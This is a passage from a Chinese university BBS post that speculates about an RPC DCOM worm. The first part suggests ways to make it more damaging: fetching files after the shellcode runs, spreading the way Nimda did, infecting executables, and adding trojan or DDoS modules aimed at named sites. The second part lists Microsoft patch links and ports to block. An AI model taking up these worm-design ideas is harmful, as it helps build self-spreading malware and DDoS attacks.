果再不成功,可以开一个端口接收文件,再不成功,可以从FTP/HTTP站点下载文件...
不过也得考虑你的shellcode的长度哦,呵呵。更多的,你自己自由发挥想象力...

4. 加大蠕虫传播的途径,还可以考虑nimda的email, html, netbios共享等方法来进行繁
殖和传播,做到这一点就可以把RPC DCOM做成一个继nimda后的第二个超级蠕虫。

5. 甚至可以结合病毒技术,感染exe文件,加大传播途径,做到这一点,RPC DCOM worm肯
定是一个超过nimda的超级蠕虫。

6. 功能模块中,还可以加上木马功能或者DDoS功能,比如所有感染的机器同时向whitehou
se,microsoft或者其他网站网站进行DDoS攻击,以完成更大的杀伤力。

十 RPC DCOM 蠕虫爆发前的防治工作

1. 为自己的主机打上微软发布的相关修补补丁。下面为补丁的相关下栽地址 :

Windows NT 4.0 Server:
http://microsoft.com/downloads/details.aspx?FamilyId=2CC66F4E-217E-4FA7-BDBF-DF
77A0B9303F&displaylang=en

Windows NT 4.0 Terminal Server Edition :
http://microsoft.com/downloads/details.aspx?FamilyId=6C0F0160-64FA-424C-A3C1-C9
FAD2DC65CA&displaylang=en

Windows 2000:
http://microsoft.com/downloads/details.aspx?FamilyId=C8B8A846-F541-4C15-8C9F-22
0354449117&displaylang=en

Windows XP 32 bit Edition:
http://microsoft.com/downloads/details.aspx?FamilyId=2354406C-C5B6-44AC-9532-3D
E40F69C074&displaylang=en

Windows XP 64 bit Edition:
http://microsoft.com/downloads/details.aspx?FamilyId=1B00F5DF-4A85-488F-80E3-C3
47ADCC4DF1&displaylang=en

Windows Server 2003 32 bit Edition:
http://microsoft.com/downloads/details.aspx?FamilyId=F8E0FF3A-9F4C-4061-9009-3A
212458E92E&displaylang=en

Windows Server 2003 64 bit Edition:
http://microsoft.com/downloads/details.aspx?FamilyId=2B566973-C3F0-4EC1-995F-01
7E35692BC7&displaylang=en

2. 向用户宣传此漏洞的严重性和被蠕虫利用的危害性,促使用户修补该漏洞。

3. 在自己的路由器上封掉 TCP/135,UCP/135,甚至 TCP/139,UDP/139,TCP/445,UDP/4
45等RPC DCOM能利用的相关端口, 以阻断蠕虫的攻击和传播。


*** 花了两小时来写这篇文章, 此文仅用于表达我对 RPC DCOM 蠕虫的设想! :) ***

 

--
※ 来源:·哈工大紫丁香 bbs.hit.edu.cn·[FROM: 202.118.228.146]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:216.675毫秒